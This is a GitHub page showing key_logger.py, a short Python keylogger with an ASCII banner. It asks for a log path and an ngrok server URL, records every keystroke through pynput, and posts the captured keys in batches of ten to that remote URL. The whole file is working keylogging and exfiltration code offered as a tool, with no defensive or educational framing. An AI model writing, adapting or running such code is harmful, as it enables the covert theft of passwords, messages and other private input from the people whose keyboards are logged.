-
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkey_logger.py
103 lines (79 loc) · 3.1 KB
/
key_logger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import logging
from pynput.keyboard import Listener, Key
import os
import requests
import time
print(r"""
_ __ _
| |/ /___ _ _ | | ___ __ _ __ _ ___ _ __
| ' // _ \ | | | | | / _ \ / _` |/ _` |/ _ \ '__|
| . \ __/ |_| | | |__| (_) | (_| | (_| | __/ |
|_|\_\___|\__, | |_____\___/ \__, |\__, |\___|_|
|___/ |___/ |___/
0.1
GitHub:https://github.com/Stalin-143
""")
# Ask user for the desired log file location
log_location = input("Please enter the full path for the log file (e.g., /path/to/logfile.txt): ")
# Ensure the log directory exists
log_dir = os.path.dirname(log_location)
if not os.path.exists(log_dir) and log_dir != "":
try:
os.makedirs(log_dir, exist_ok=True) # Allows creation if directory doesn't exist
except PermissionError as e:
print(f"PermissionError: {e}")
print("Please ensure you have permission to write to the specified path.")
exit()
# Configure logging to write to the specified location
logging.basicConfig(
filename=log_location,
level=logging.DEBUG,
format="%(asctime)s: %(message)s"
)
# Store the captured keys temporarily before sending them to the server
buffer = []
# Ask user for the ngrok server URL
url = input("Enter the ngrok server URL (e.g., https://xxxx-xxxx.ngrok-free.app): ")
# Function to send log data to the web server
def send_log_to_server():
global buffer
if buffer:
try:
log_data = ''.join(buffer)
response = requests.post(url, data={"log": log_data})
if response.status_code == 200:
print("Log sent successfully!")
else:
print(f"Failed to send log. Server responded with status: {response.status_code}")
# Clear the buffer after sending
buffer = []
except Exception as e:
print(f"Error sending log: {e}")
# Function to handle key press events
def on_press(key):
global buffer
try:
# Capture the key press and format it
if hasattr(key, 'char') and key.char is not None:
key_str = f"Key pressed: {key.char}"
else:
# Handle special keys
key_str = f"Special key pressed: {key}"
# Log the key
logging.info(key_str)
buffer.append(key_str + "\n") # Add to buffer
# If buffer reaches a certain size, send the log
if len(buffer) >= 10: # Adjust batch size as needed
send_log_to_server()
except Exception as e:
print(f"Error logging key: {e}")
# Function to handle key release events (optional)
def on_release(key):
# Stop listener when 'esc' is pressed
if key == Key.esc:
return False
# Start listening for keyboard events
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
# Send logs when the listener stops (or periodically if needed)
send_log_to_server()